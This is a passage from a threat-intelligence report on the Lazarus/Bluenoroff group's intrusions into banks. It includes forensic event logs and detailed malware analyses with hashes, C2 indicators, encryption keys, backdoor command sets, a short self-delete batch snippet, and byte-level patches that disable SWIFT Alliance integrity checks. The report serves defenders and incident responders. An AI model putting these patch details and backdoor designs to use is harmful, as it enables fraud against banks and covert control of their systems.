commonly used filenames of these attackers in the past. While these filenames may look legitimate, their location was different from the standard system equivalents. Standard Windows msdtc.exe binary is usually located in %systemroot%\System32\msdtc.exe, while the attacker placed msdtc.exe in %systemroot%\msdtc.exe for disguise. The path was confirmed from parsed prefetch files. Unfortunately the attackers have already securely wiped the msdtc.exe file in the Windows directory. We were unable to recover this file. The same applies to %systemroot%\gpvc.exe which existed on the dates of the attack but was securely wiped by the attackers later. Based on the timestamps we found so far, it seems that the initial infection of Host1 occurred through access from a privileged account. We looked carefully at the events preceding the infection time and found something suspicious in the Windows Security event log: Description Special privileges assigned to new logon. Subject: Security ID: [REDACTED] Account Name: [ADMIN ACCOUNT REDACTED] Account Domain: [REDACTED] Logon ID: [REDACTED] Privileges: SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege Then, we checked if the user [ADMIN ACCOUNT REDACTED]' had logged into the same system in the past. According to the event logs this had never happened before the attackers used it. Apparently, this user logon had very high privileges (SeBackupPrivilege, SeLoadDriverPrivilege, SeDebugPrivilege, SeImpersonatePrivilege), allowing the remote user to fully control the host, install system services, drivers, start processes as other users, and have full control over other processes running in the system (i.e. inject code into their memory). Next, we searched for other event log records related to the activity of the same account, and found several records suggesting that this account was used from Host1 to access other hosts in the same domain. Description A logon was attempted using explicit credentials. Account Whose Credentials Were Used: Account Name: [ADMIN ACCOUNT REDACTED] Account Domain: [REDACTED] Logon GUID: {00000000-0000-0000-0000-000000000000} Target Server: Target Server Name: [REDACTED] Additional Information: [REDACTED] Process Information: Process ID: 0x00000000000xxxxx Process Name: C:\Windows\System32\schtasks.exe Network Information: Network Address: Port: This event is generated when a process attempts to log on an account by explicitly specifying that account s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. This indicates that the account was used to create new scheduled tasks on the remote hosts. This is one of the popular ways to remotely run new processes and propagate infections during cyber attacks. Then we searched for other similar attempts to start schtasks.exe remotely on other hosts and collected several of them. Lateral Movement. Host2. This host contained several unique and very large malware modules. The following files were found on the system: Filename Size C:\Windows\gpsvc.exe 3'449'344 bytes 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae C:\Windows\Help\srservice.chm 1'861'632 bytes cb65d885f4799dbdf80af2214ecdc5fa (decrypted file MD5: ad5485fac7fed74d112799600edb2fbf) C:\Windows\Help\srservice.hlp 3696 bytes 954f50301207c52e7616cc490b8b4d3c (config file, see description of ad5485fac7fed74d112799600edb2fbf) C:\Windows\System32\srservice.dll 1'515'008 bytes 16a278d0ec24458c8e47672529835117 C:\Windows\System32\lcsvsvc.dll 1'545'216 bytes c635e0aa816ba5fe6500ca9ecf34bd06 All of this malware were general purpose backdoors and their respective droppers, loaders and configuration files. Details about this malware is available in the Appendix. Lateral Movement. Host3. The following malicious files were found on the system: Filename Size C:\Windows\gpsvc.dat 901'555 bytes c1364bbf63b3617b25b58209e4529d8c C:\Windows\gpsvc.exe 753'664 bytes 85d316590edfb4212049c4490db08c4b C:\Windows\msdtc.bat 454 bytes 3b1dfeb298d0fb27c31944907d900c1d Gpsvc.dat contains an encrypted payload for an unidentified loader. It's possible that the loader was placed on a different host following the anti-forensic technique that we have observed previously or gpsvc.exe is the loader but we are missing the secret passphrase passed via commandline. The decrypted files are described in the Appendix to this report. Cease of Activity In several cases we investigated, once the attackers were confident they had been discovered, because they lost some of the compromised assets, they started wiping the remaining malware payloads. This indicates a skilled attacker, who cares about being discovered. Other Known Operations The attack on European financial institutions was implemented via a watering hole, a compromised government website that had many regular visitors from local banks. However, the same approach has been used in multiple other places around the world. The Polish waterhole incident got much more public attention than the others due to the escalation of the alert to a higher level and the compromise of a government website. We have seen a few other websites being compromised with the same symptoms and turned into a watering hole through script injection or by placing exploit delivery code. We have found them in the following countries: Russian Federation Australia Uruguay Mexico India Nigeria Peru What connected most of the compromised websites was the JBoss application server platform. This suggests that attackers may have an exploit for the JBoss server. Unfortunately we haven managed to find the exploit code yet. Nevertheless, we would like to recommend to all JBoss application server administrators that they limit unnecessary access to their servers and check the access logs for attack attempts. Banks were not the only Lazarus Group targets. This suggests that it has multiple objectives. We have seen some unusual victims, probably overlapping with the wider Lazarus Group operations, i.e. a cryptocurrency business. When it comes to Bluenoroff, its typical list of targets includes banks, financial and trading companies, casinos and cryptocurrency businesses. Detections of Lazarus/Bluenoroff malware are also distributed across the world. Here are some: Conclusions Lazarus is not just another APT actor. The scale of Lazarus operations is shocking. It has been on a growth spike since 2011 and activities didn't disappear after Novetta published the results of its Operation Blockbuster research. All those hundreds of samples that were collected give the impression that Lazarus is operating a factory of malware, which produces new samples via multiple independent conveyors. We have seen it using various code obfuscation techniques, rewriting its own algorithms, applying commercial software protectors, and using its own and underground packers. Lazarus knows the value of quality code, which is why we normally see rudimentary backdoors being pushed during the first stage of infection. Burning those doesn't cause too much impact on the group. However, if the first stage backdoor reports an interesting infection it starts deploying more advanced code, carefully protecting it from accidental detection on disk. The code is wrapped into a DLL loader or stored in an encrypted container, or maybe hidden in a binary encrypted registry value. It usually comes with an installer that only the attackers can use, because they password protect it. It guarantees that automated systems - be it public sandbox or a researcher's environment - will never see the real payload. Most of the tools are designed to be disposable material that will be replaced with a new generation as soon as they are burnt. And then there will be newer, and newer, and newer versions. Lazarus avoids reusing the same tools, the same code, and the same algorithms. "Keep morphing!" seems to be its internal motto. Those rare cases when it is caught with the same tools are operational mistakes, because the group seems to be so large that one part doesn't know what the other is doing. All this level of sophistication is something that is not generally found in the cybercriminal world. It's something that requires strict organization and control at all stages of the operation. That's why we think that Lazarus is not just another APT actor. Of course such a process requires a lot of money to keep running the business, which is why the appearance of the Bluenoroff subgroup within Lazarus was logical. Bluenoroff, as a subgroup of Lazarus, is focused only on financial attacks. It has reverse engineering skills and spends time tearing apart legitimate software, implementing patches for SWIFT Alliance software, and finding ways and schemes to steal big money. Its malware is different and the attackers aren't exactly soldiers that hit and run. Instead they prefer to make an execution trace to be able to reconstruct and quickly debug the problem. They are field engineers that come when the ground is already cleared after the conquest of new lands. One of Bluenoroff's favorite strategies is to silently integrate into running processes without breaking them. From the perspective of the code we've seen it looks as if it is not exactly looking for hit and run solutions when it comes to money theft. Its solutions are aimed at invisible theft without leaving a trace. Of course, attempts to move around millions of USD can hardly remain unnoticed but we believe that its malware might now be secretly deployed in many other places - and it doesn't trigger any serious alarms because it's much more quiet. We would like to note, that in all the observed attacks against banks that we have analyzed, servers used to connect to SWIFT didn't demonstrate or expose any specific vulnerability. The attacks were focused on the banks infrastructure and staff, exploiting vulnerabilities in commonly used software or websites, bruteforcing passwords, using keyloggers and elevating privileges. However, the design of inter-banking transactions using a bank's own server running SWIFT connected software suggests that there are personnel responsible for the administration and operation of the SWIFT connected server. Sooner or later the attackers find these users, gain their necessary privileges and access the server connected to the SWIFT messaging platform. With administrative access to the platform, they can manipulate the software running on the system as they wish. There is not much that can stop them, because from a technical perspective it may not differ from what authorized and qualified engineers do: starting and stopping services, patching software, or modifying databases. Therefore, in the breaches we analyzed, SWIFT as an organization hasn t been directly at fault. More than that, we have witnessed SWIFT trying to protect its customers by implementing the detection of database and software integrity issues. We believe that this is the right direction and has to be extended with full support. Complicating patches of integrity checks further may create a serious threat to the success of further operations run by Lazarus/Bluenoroff against banks worldwide. To date, the Lazarus/Bluenoroff group has been one of the most successful in large scale operations against financial industry. We believe that it will remain one of the biggest threats to the banking sector, finance and trading companies as well as casinos, for years to come. As usual, defense against attacks such as those from Lazarus/Bluenoroff should include a multilayered approach. Kaspersky Lab products include special mitigation strategies against this group, as well as many other APT groups we track. If you are interested in reading more about effective mitigation strategies in general, we recommend the following articles: Strategies for mitigating APTs How to mitigate 85% of threats with four strategies We will continue tracking the Lazarus/Bluenoroff actor and will share new findings with our intel report subscribers as well as with the general public. If you would like to be among the first to hear our news, we suggest you subscribe to our intel reports. For more information, contact: intelreports@kaspersky.com. Appendix: Malware Analysis Malware 1: SWIFT transactions Information Harvester (New Runoff) MD5: 0abdaebbdbd5e6507e6db15f628d6fd7 Discovered path: C:\MSO10\fltmsg.exe Date: 2016.08.18 23:44:21 Size: 90'112 bytes Compiled on: 2016.08.18 22:24:41 (GMT) Linker version: 10.0 Type: PE32 executable (GUI) Intel 80386, for MS Windows Internal Bluenoroff module tag: NR Used in: Incident #1 An almost identical file was found in another location with the following properties: MD5: 9d1db33d89ce9d44354dcba9ebba4c2d Discovered path: D:\Alliance\Entry\common\bin\win32\nroff.exe Date detected: 2016-08-12 22:24:19 Size: 89'088 bytes Compiled on: 2016.08.12 12:25:02 (GMT) Type: PE32 executable (GUI) Intel 80386, for MS Windows Internal module mark: NR The compilation timestamp indicates the malware was compiled exactly one day before being used in the bank. The module starts from creating a "MSO10" directory on the logical drive where the Windows system is installed, i.e. C:\MSO10. Also, it crafts several local filepaths, the purpose of which isn't clear. Not all have reference in the code and they could be copy-pasted code or part of a common file in the framework. The paths are represented with the following strings: %DRIVE%:\MSO10\LATIN.SHP %DRIVE%:\MSO10\ENGDIC.LNG %DRIVE%:\MSO10\ADDT.REF %DRIVE%:\MSO10\MSE.LIV Upon starting it makes five attempts to read file C:\MSO10\LATIN.SHP with an interval of 100ms. If the LATIN.SHP container is not found or has an invalid signature, the log record will contain the following message: "NR-PR", which we assume indicates a PRoblem loading module codenamed "NR". The name "NR" is probably a reference to the printer helper program called "nroff" used by SWIFT Alliance software. The origins of the nroff name go back to a Unix text-formatting program according to Wikipedia. The file is read successfully if its size is larger than or equal to a hardcoded value of 35,260 bytes. After that the module decrypts the file with an RC4 algorithm using a hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF. This hardcoded key is quite unique and has been discovered in few other places, including in other tools from the set of malware used to attack SWIFT Alliance software and within the Wiper Tool discovered in Bangladesh in early 2016 (MD5: 5d0ffbc8389f27b0649696f0ef5b3cfe). It was also used in another tool to encrypt configuration files as reported by BAE Systems. The decrypted data from the file is validated by checking the magic header of the data, which should be 0xA0B0C0D0 value. The file contains a configuration of 35,260 bytes which is copied to a reserved memory and a sequence of data blocks of 1096 bytes each. The number of blocks may vary, the module reads them all and stores them in a linked list structure. There is an internal logging feature implemented in the current module, which keeps a text log in C:\MSO10\ENGDIC.LNG. The text records are stored in lines of the following format: [%Hour%:%Minute%:%Second%] [%Process_PID%] %Message%\r\n The message may contain the following prefixes: [ERROR] [INFO] [WARNING] This executable is designed to be called with three parameters: fltmsg.exe The first parameter is a number 1 or 2. If any other value is passed to the executable it simply saves it to the log in the format of "NR-PR-P %mode%". We assume that "NR-PR-P" is interpreted by the attackers as "nroff problem parameter". Mode 1 means that the module shall select the output path automatically, which contains the following string template: "#%04d%04d.prt", otherwise the output path is copied from the third command line argument. For recognized modes 1 and 2 the module saves a backup for every "print file" passed to it via command line that has the extension ".prt", ".out" or ".txt". The backups are stored in one of the following directories: C:\MSO10\P %N%\MOT\ C:\MSO10\R %N%\MOT\ C:\MSO10\N %N%\MOT\ Where %N% is a sequential integer number. The malware is an information harvester. It processes files passed to it, parses them and searches for specific SWIFT transaction codes, such as: 28C: Statement Number 25: Account Identification Its main purpose is to accumulate information about transactions passed through it, saving Sender and Receiver, Account and Statement Numbers as well as some other data included in parsed files. The files passed to it are allegedly in the SWIFT transaction format, which suggests that the attackers were closely accustomed to internal SWIFT documentation or carefully reverse engineered the format. It recognizes the following format tags: 515 (M51) 940 (M94) - start of day balance 950 (M95) - end of day balance When such files are found, it logs them into the log folder drive:\MSO10 and saves a copy. The RC4-encrypted file we found (LATIN.SHP) contained the following strings after decryption: D:\Alliance\Entry\database\bin\sqlplus.exe D:\Alliance\Entry\common\bin\win32 D:\Alliance\Entry C:\MSO10\fltmsg.exe C:\MSO10\MSO.DLL C:\MSO10\MXS.DLL \\127.0.0.1\share localhost\testuser \\127.0.0.1\share\ In the older case from Bangladesh the config contained SWIFT business identifier codes (BIC) to hide in SWIFT transaction statements. Malware 2: SWIFT Alliance Access Protection Mangler MD5: 198760a270a19091582a5bd841fbaec0 Size: 71'680 bytes Discovered path: C:\MSO10\MSO.dll Compiled on: 2016.08.18 22:24:44 (GMT) Linker version: 10.0 Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Internal Bluenoroff module tag: PM Used in: Incident #1 The compilation timestamp indicates the malware was compiled in the days preceding the attack on the bank. This malware tool is used to patch some SWIFT Alliance software modules in the memory to disable certain protection mechanisms that were implemented to detect direct database manipulation attempts. The code was most likely created by the same developer that created SWIFT transactions Information Harvester (MD5: 0abdaebbdbd5e6507e6db15f628d6fd7). Like the information harvester it creates a "MSO10" directory on the logical drive where the Windows system is installed, i.e. C:\MSO10. It also crafts several local filepaths, the purpose of which isn't clear. Not all have reference in the code and could be a copy-pasted code or part of common file in the framework: %DRIVE%:\MSO10\LATIN.SHP %DRIVE%:\MSO10\ENGDIC.LNG %DRIVE%:\MSO10\ADDT.REF %DRIVE%:\MSO10\MSE.LIV Upon starting it makes five attempts to read file C:\MSO10\LATIN.SHP with an interval of 100ms. If the LATIN.SHP container is not found or is invalid, the log will contain the following message: "PM-PR". The file is read successfully if its size is larger or equal to a hardcoded value of 35,260. After that the module decrypts the file with an RC4 algorithm using a hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF. The decrypted data from the file is validated by checking the magic header of the data, which should be 0xA0B0C0D0 value. The file contains a configuration block of 35,260 bytes which is copied to a reserved memory and a sequence of data blocks of 1096 bytes long. The number of blocks may vary, the module reads them all and stores them in a linked list structure. If the LATIN.SHP file is found then the module simply counts the number of records in it and proceeds with patching the target file, which is described further. If it is not found or the file magic bytes differ from expected after decryption, then the patching does not happen and the code simply drops execution. There is an internal logging feature implemented in the current module, which keeps text log in C:\MSO10\ENGDIC.LNG. The following log messages may appear in this file in plaintext: Log message format Description of values PatchMemory(%s, %d) %s - current executable filename %d - 0 or 1 (0 - unpatch operation, 1 - patch operation) [PatchMemory] %s %s - current executable filename [PatchMemory] LoadLibraryA(%s) = %X %s - additional DLL filename %X - additional DLL image base address [WorkMemory] %s %d End %s - executable name to be patched %d - process ID value This is printed in case of failure to open process [WorkMemory] pid=%d, name=%s %d - process ID value %s - executable name to be patched [Patch] 1 Already Patched %s %s - executable name to be patched [Unpatch] 1 Already Unpatched %s %s - executable name to be patched [Patch] 1 %s %s - executable name to be patched [Patch] 1 %s %s - executable name to be patched P[%u-%d] %d %u - process ID which is patched %d - patch index (starts from 0), corresponds to patch block %d - contains last WinAPI error code This is printed in case of failure to patch memory P[%u-%d] OK %u - process ID which is patched %d - patch index (starts from 0), corresponds to patch block [Patch] 2 Already Patched %s %s - executable name to be patched [Unpatch] 2 Already Unpatched %s %s - executable name to be patched [Patch] 2 %s %s - executable name to be patched [Patch] 2 %s %s - executable name to be patched The module has seven embedded blocks of 0x130 bytes long that contain patch target information. Each block seems to have four slots of 0x4C bytes with patch information. However, only the first slot per module is used at this point. Each slot contains information for just two code modifications. The patch slots include the size of the patch, and the relative path to the module to be patched on disk, offset to the patched bytes (containing the relative virtual address) and original bytes. The patcher verifies that the original bytes are in place before modifying the code. The patch procedure can also do unpatching by design, however this feature is currently unused. The first slot is a patch for the liboradb.dll library which seems to be essential and is applied in all cases. Other patches are designed for specific executables that the current SWIFT Alliance Software Patcher DLL module is loaded in. It searches for a corresponding patch that matches the current process executable filename and applies only that patch. The following table contains an interpretation of the patch-blocks embedded into the binary. The table omits empty slots and shows only valid patch instructions: Block Module Patch Original code Replacement Description liboradb.dll 0x8147e Disables checksum verification Block is Unused MXS_cont.exe mxs_ha.exe sis_sndmsg.exe SNIS_sendmsg.exe SNSS_cont.exe 0xff49 e8c2fbffff b801000000 0x10b0c e8c2fbffff b801000000 0x65a9 e8c2fbffff b801000000 0x716c e8c2fbffff b801000000 0x49719 e8c2fbffff b801000000 0x4a2dc e8c2fbffff b801000000 0xa8119 e8c2fbffff b801000000 0xa8cdc e8c2fbffff b801000000 0x7849 e8c2fbffff b801000000 0x840c e8c2fbffff b801000000 Disables internal security checks. Disables internal security checks. Disables internal security checks. Disables internal security checks. Disables internal security checks. SWIFT Alliance software binary tools are linked with file "saa_check.cpp", which provides basic security checks and validates the integrity of the database. The patches are applied to the modules to disable these checks and prevent the detection of database inconsistency. The file selection is not random, as far as the SWIFT connected servers server environment is a complex of executable files with complicated relations, the attackers identified all executables that implemented new security features and patched them off. We have checked all other binaries on the analyzed servers and none of other applications were linked with saa_check.cpp, except those in the patchlist. The patcher DLL has to be loaded into the address space of the target process to work. It is not designed to patch other processes. Malware 3: SWIFT Alliance software Files Hook MD5: f5e0f57684e9da7ef96dd459b554fded Size: 91'136 bytes Discovered path: C:\MSO10\MXS.dll Compiled on: 2016.08.18 22:24:31 (GMT) Linker version: 10.0 Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Internal Bluenoroff module tag: HD (alternative: HF) Used in: Incident #1 The compilation timestamp indicates the malware was compiled during the days of the attack on the bank. It is very similar to SWIFT transactions Information Harvester and SWIFT Alliance software Protection Mangler. Like the information harvester it creates a "MSO10" directory on the logical drive where the Windows system is installed, i.e. C:\MSO10. Similarly, it crafts several local filepaths: %DRIVE%:\MSO10\LATIN.SHP %DRIVE%:\MSO10\ENGDIC.LNG %DRIVE%:\MSO10\ADDT.REF %DRIVE%:\MSO10\MSE.LIV Upon starting it makes five attempts to read file C:\MSO10\LATIN.SHP with an interval of 100ms. If the LATIN.SHP container is not found or is invalid, the log will contain the following message: "HD-PR". The file is read successfully if its size is larger than or equal to a hardcoded value of 35,260. After that the module decrypts the file with an RC4 algorithm using the hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF. The decrypted data from the file is validated by checking the magic header of the data, which should be 0xA0B0C0D0 value. The file contains a configuration of 35,260 bytes which is copied to a reserved memory and a sequence of data blocks 1096 bytes long. The number of blocks may vary, the module reads them all and stores them in a linked list structure. If the LATIN.SHP file is found then the module simply counts the number of records in it and proceeds. If it is not found or the magic file bytes differ from expected after decryption, then the patching will not happen and the code simply drops execution. There is an internal logging feature implemented in the current module, which keeps a text log in C:\MSO10\ENGDIC.LNG. The following log messages may appear in a file in plaintext: Log message format Description of values HF_Initialize(%s) %s - current executable filename NewCopyFileA(%s, %s, %d) The arguments correspond to source, destination file and flag value for "overwrite if exists". NewCopyFileA->CreateProcess(%s) failed with error=%d %s - commandline of a fltmsg.exe process %d - Win32 API integer error code NewCreateProcessA(%s) - 1 command line of a new process NewCreateProcessA(%s) - 2 command line replacement The purpose of this module is in patching the current process, so that CopyFileA function in fact calls a custom hook function, which calls CreateProcessA and passes some arguments to it. The command line for the new process is as follows: C:\MSO10\fltmsg.exe 2 "%source_path%" "%destination_path%" The path to the fltmsg.exe process is taken from the decrypted configuration file C:\MSO10\LATIN.SHP. Another API function, CreateProcessA is similarly hooked. Any call to create a new process, which starts one of two recognized executables "nroff" or "printhelper", is modified. Before the original executables are called, a custom application will be spawned with the following commandline: C:\MSO10\fltmsg.exe 0 %original arguments% - for nroff C:\MSO10\fltmsg.exe 1 %original arguments% - for printhelper If the execution fails the module logs a failure message with a Win32 API error code. We assume that this module is injected in the middle of running SWIFT Alliance software, to divert some of the interesting files for alteration or to make a reserve copy. Malware 4: Session Hijacker MD5: 2963cd266e54bd136a966bf491507bbf Date (appeared in collection): 2015-05-23 02:27 Size: 61'440 bytes Discovered path: c:\windows\mdtsc.exe Compiled on: 2011.02.18 07:49:41 (GMT) Type: PE32+ executable (console) x86-64, for MS Windows Linker version: 10.0 Used in: Incident #1 This file is a command line tool to start a new process as another user currently logged on to the same system. To find the user token, one of the following case-insensitive command line options is used: Option Description -n Find token by process name -p Find token by process ID -s Find token by Terminal session ID The last command line option defines the command line of the new process to start. Example usage: c:\windows\mdtsc.exe -p 8876 "rundll32.exe c:\windows\fveupdate.dll,Start MAS_search.exe" The example tool usage was recovered from an infected system during forensic analysis. It was used to start a SWIFT Alliance software tool via a custom application starter that most probably tampered with the new process. The fveupdate.dll module was not recovered from the system. Malware 5: TCP Tunnel Tool MD5: e62a52073fd7bfd251efca9906580839 Date discovered: 2016.08.12 01:11:31 Discovered path: C:\Windows\winhlp.exe Size: 20'480 bytes Known as: winhlp.exe, msdtc.exe Last start date: 2016.08.12 21:59 Started by: svchost.exe (standard Windows signed binary) Compiled on: 2014.09.17 16:59:33 (GMT) Type: PE32 executable (GUI) Intel 80386, for MS Windows Linker version: 6.0 Used in: Incident #1 This application is a tool that works as a simple TCP relay that encrypts communication with C2 and contains remote reconfiguration capability. It has to be started with at least two parameters containing host IP and port. Two additional optional parameters may define the destination server IP and port to relay network connections to. The destination server IP and port can be retrieved and reconfigured live from C2. Let's refer to these pairs of IP/ports as HostA/PortA and HostB/PortB respectively. When the tool starts it attempts to connect to the C2 server, which starts from the generation of a handshake key. The handshake key is generated via a simple algorithm such as the following: i = 0; key[i] = 0xDB * i ^ 0xF7; ++i; } while ( i < 16 ); This algorithm generates the following string: ASCII Hexadecimal ,-./()*+$%&\' !" 2c 2d 2e 2f 28 29 2a 2b 24 25 26 27 20 21 22 Next, it generates a message body, a string of bytes from 64 to 192 bytes long. The fifth DWORD in the message is replaced with special code 0x00000065 ("e" character). Then it encrypts the message with a handshake key and sends it to the C2 server with the data block length prepended to that buffer. This is what such a packet looks like (blue rows are encrypted with RC4 and handshake key): Offset (bytes) Size (bytes) Description Size of the rest of data in the message Random data Special code 0x00000065 ("e") >=64 Random data It expects similar behaviour from the server. The server responds with similar packet, where the first DWORD is the size of the rest of the packet and the only meaningful value is at offset 0x14, which must contain 0x00000066 ("f") or the handshake is not successful. If the handshake is successful, the tool spawns a dedicated thread to deal with the C2 connection. It uses RC4 encryption to communicate with the C2 over TCP with a hardcoded 4-bytes key value: E2 A4 85 92. The analyzed sample uses binary protocol for communication, exchanging messages in fixed length blocks of 40 bytes, which are encrypted with RC4 as mentioned above. Each such block contains a DWORD at offset 0x4 describing a control code used in the protocol. Other fields in the block may contain additional information or be set to a randomly generated number for distraction. Client Control Code Server Meaning Control Code Meaning 0x10001 Ready to work 0x10000 Keep-Alive 0x10008 Task Done 0x10002 Start tunnelling with HostB 0x10003 Set new HostB/PortB 0x10004 Get current HostB/PortB 0x10006 Terminate immediately For the Control Code 0x10003, additional information including IP and port numbers are transferred in the same message block at offsets 0x10 for IP and 0x14 for port. The tool will not start connecting to HostB until it receives a 0x10002 command to start the tunnelling process. When this happens it will open an additional, independent TCP session with HostA, will do a handshake, and then pass all data back and forth without modification. Other variants of the tool were found in different places: 02f75c2b47b1733f1889d6bbc026157c - uploaded to a multiscanner from Bangladesh. 459593079763f4ae74986070f47452cf - discovered in Costa Rica. ce6e55abfe1e7767531eaf1036a5db3d - discovered in Ethiopia. All these tools use the same hardcoded RC4 key value of E2 A4 85 92. Malware 6: Active Backdoors MD5: 2ef2703cfc9f6858ad9527588198b1b6 Type: PE32 executable (GUI) Intel 80386, for MS Windows Size: 487'424 bytes Name: mso.exe Link time: 2016.06.14 11:56:42 (GMT) Linker version: 6.0 Used in: Incident #1, Incident #2 This module is linked with opensource SSL/TLS suite mbedTLS (aka PolarSSL) as well as zLib 1.2.7 and libCURL libraries. Command line options: IMEKLMG.exe [filepath] [-i] [ ...] [-s] self-install in the registry and restart self with previous path as argument. [filepath] sleep for 3 seconds, delete the specified path, restart self with option "-s". ... one or more pairs of C2 IP and port can be passed here. start the main backdoor mode Starting the executable with no option is equivalent to starting with "-i", which initiates a sequence of restarts eventually leading to self-installation into the autorun key and user's %App_Data% directory. The final command line string to start the backdoor (as per registry autorun key) is: C:\Users\%user%\AppData\Roaming\IMEKLMG.exe -s Depending on the available command line arguments the module may use a C2 address from the following locations: 1. C2 configuration stored in the registry (expected 1840 bytes). The configuration is located at HKLM\SYSTEM\CurrentControlSet\Control\Network\EthernetDriver. The data inside the key is encrypted with a DES algorithm with a hardcoded encryption key: 58 29 AB 7C 86 C2 A5 F9. 2. Hardcoded C2 address and port. 3. [Unfinished backdoor code] Use a C2 address and port passed via command line. Note, this code is currently unfinished: it contains a command line argument parsing and setting in the memory of the backdoor: up to six pairs of C2 hosts and ports can be passed to it, but this information seems not to be reaching the main backdoor code yet. If the registry value with config is not set upon the backdoor start, it creates this value, populating the config with hardcoded values. When the module is passed to a domain and port pair via the command line, config from the registry or hardcoded value, it resolves the IP address of the domain (if the domain is passed) and produces a different IP by decrypting the DNS request with a 4-byte XOR operation. The XOR constant is hardcoded: 0xF4F29E1B. Hardcoded C2s: update.toythieves[.]com:8080 update.toythieves[.]com:443 IP xor Key (Real C2) Country First Seen Last Seen Resolved IP (C2 disguise) 67.65.229[.]53 2015-08-05 2015-08-19 88.223.23.193 62.201.235[.]227 Iraq 2015-08-26 2015-10-23 37.87.25.23 127.0.0.1 2015-10-30 2015-11-20 100.158.242.245 46.100.250[.]10 Iran 2015-11-27 2016-01-07 53.250.8.254 76.9.60[.]204 Canada 2016-01-14 2016-08-17 87.151.206.56 The application establishes a HTTPS connection, introducing itself as "TestCom 18467" (hostname) during a TLS handshake. The backdoor protocol supports the following commands sent as DWORD constants: Command ID Description 0x91B93485 Get system information: hostname, OS version, locale, list of network interface cards with properties. 0x91B9348E Sleep command. Disconnect from C2. Save current time and show no network activity for a specified time. 0x91B93491 Hibernate command. Disconnect from C2 and show no network activity. Seems like this sleep is persistent over program restarts. 0x91B9349A Show all available drives and used/available space on them. 0x91B9349B List files in specified directory. 0x91B9349D Change current directory. 0x91B93486 Run specified command. 0x91B934A6 Run specified command as another Terminal Session user. 0x91B93492 Delete file(s) based on file path pattern. 0x91B934A1 Wipe specified file two times with random DWORD value. 0x91B9348B Compress and upload specified file path recursively. 0x91B9348A Read data from the specified file. 0x91B93489 Write data to the specified file. 0x91B93495 Get detailed process information: PID, Session ID, CPU performance status, memory used, full path. 0x91B93491 Kill process by name or PID. 0x91B9348C Execute a command and read the output. This is done via the redirection of command output to a text file in temp directory, reading and sending the contents of the file after the process is complete. 0x91B934A5 Connect 1024 times to localhost:135 for disguise, cleanup and shutdown. 0x91B934A4 Get current backdoor configuration. 0x91B934A3 Set new backdoor configuration. 0x91B934A2 Test remote host and port by opening TCP connection. 0x91B934A7 Inject an executable module into address space of explorer.exe. 0x91B93499 Get current working directory. 0x91B9349C Delete specified file. The same file, but compressed with an unknown packer, was discovered uploaded on VT from Poland and Korea in November 2016. This suggests backdoor reuse in those countries. It has the following properties: Name: IMEKLMG.exe.dmp MD5: 06cd99f0f9f152655469156059a8ea25 SHA1: 77c7a17ccd4775b2173a24cd358ad3f2676c3452 File size: 376832 bytes File type: PE32 executable (GUI) Intel 80386, for MS Windows Link time: 2016.06.14 11:56:42 (GMT) Linker version: 6.0 Another similar file was discovered in February 2017, distributed from a Nigerian webserver. It is a similar backdoor but is packed with Obsidium packer. Here is the file's general information: MD5: 09a77c0cb8137df82efc0de5c7fee46e SHA1: 964ba2c98b42e76f087789ab5f64e75dd370841a File size: 176640 bytes File type: PE32 executable (GUI) Intel 80386, for MS Windows Link time: 2017.02.02 04:20:19 (GMT) Linker version: 10.0 This file is similar to the other backdoors from the arsenal. However, it contains some differences and improvements. It uses an external file to store configuration, located at %SYSTEMROOT%\systray.dat. The config has a fixed size of 182 bytes and has the following structure: XORed with 0xDE Random 4 bytes Magic Value: 0x12458FAE Other data Similar to other backdoors, it uses XOR operation on the DNS response. The XOR DWORD constant is different here: 0xCBF9A345. The sample contains the following default hardcoded C2 address: tradeboard.mefound[.]com:443 To complicate analysis, the developer has implemented a protocol with dynamically changing constants depending on the variant of the malware. So far, the backdoor "speaks the same language" but with a different "dialect". This is implemented through a different base for all messages. This sample supports similar commands but its Command IDs are shuffled and start with a different number. Command ID Description 0x23FAE29C Get system information: hostname, OS version, locale, list of network interface cards with properties. 0x23FAE2A4 Sleep command. Disconnect from C2. Save current time and show no network activity for specified time. 0x23FAE2A6 Hibernate command. Disconnect from C2 and show no network activity. This is persistent over program restarts, because it the module saves time when to come back online in the config file. 0x23FAE29E List all available drives. 0x23FAE2A9 Recursively list contents of the specified directory. 0x23FAE2A7 List contents of the specified directory. 0x23FAE29F Change current directory. 0x23FAE2AA Run specified command. 0x23FAE2A8 Delete file(s) based on file path. 0x23FAE2AD Wipe specified file two times with random DWORD value. 0x23FAE2B1 Compress and upload specifed file path recursively. 0x23FAE2A0 Read data from the specified file. 0x23FAE2A1 Write data to the specified file. 0x23FAE2A2 Get detailed process information: PID, Session ID, CPU performance status, memory used, full path. 0x23FAE2AC Kill process by name or PID. 0x23FAE2AB Execute a command and read the output. This is done via redirection of command output to a text file in temp directory, reading and sending the contents of the file after the process is complete. 0x23FAE29D Clone file timestamps from the given path. 0x23FAE2AF Set new C2 port, save configuration file. 0x23FAE2B0 Set new C2 address, save configuration file. 0x23FAE2A3 Command to self-destruct. It drops ieinst.bat into %TEMP% directory and runs it to self-delete. del "%S" nping 0 if exist "%S" goto L1 del "%0" In addition it wipes the config file with zeroes and deletes the file as well. 0x23FAE2A5 Terminate session and quit immediately. This matches the description of backdoors from the Romeo set as per Novetta. Malware 7: Passive Backdoors MD5: b9be8d53542f5b4abad4687a891b1c03 Type: PE32 executable (GUI) Intel 80386, for MS Windows Size: 102'400 bytes Names: hkcmd.exe Internal name: compact.exe Link time: 2016.01.08 16:41:18 (GMT) Linker version: 6.0 Product name (file version info): Windows Firewall Remote Management Used in: Incident #1 This executable was written using the Microsoft MFC framework. The application is designed to run as a service, however it can also start and work as a standalone non-service process. It registers with the name of "helpsvcs". The code is organized in classes, one of which, the main application class, has a static text variable set to "PVS", which seems to be unused in the code. This service relies on command line arguments passed as an integer defining the port number that it will listen to in the future. This is a reduced minimalistic way of configuring 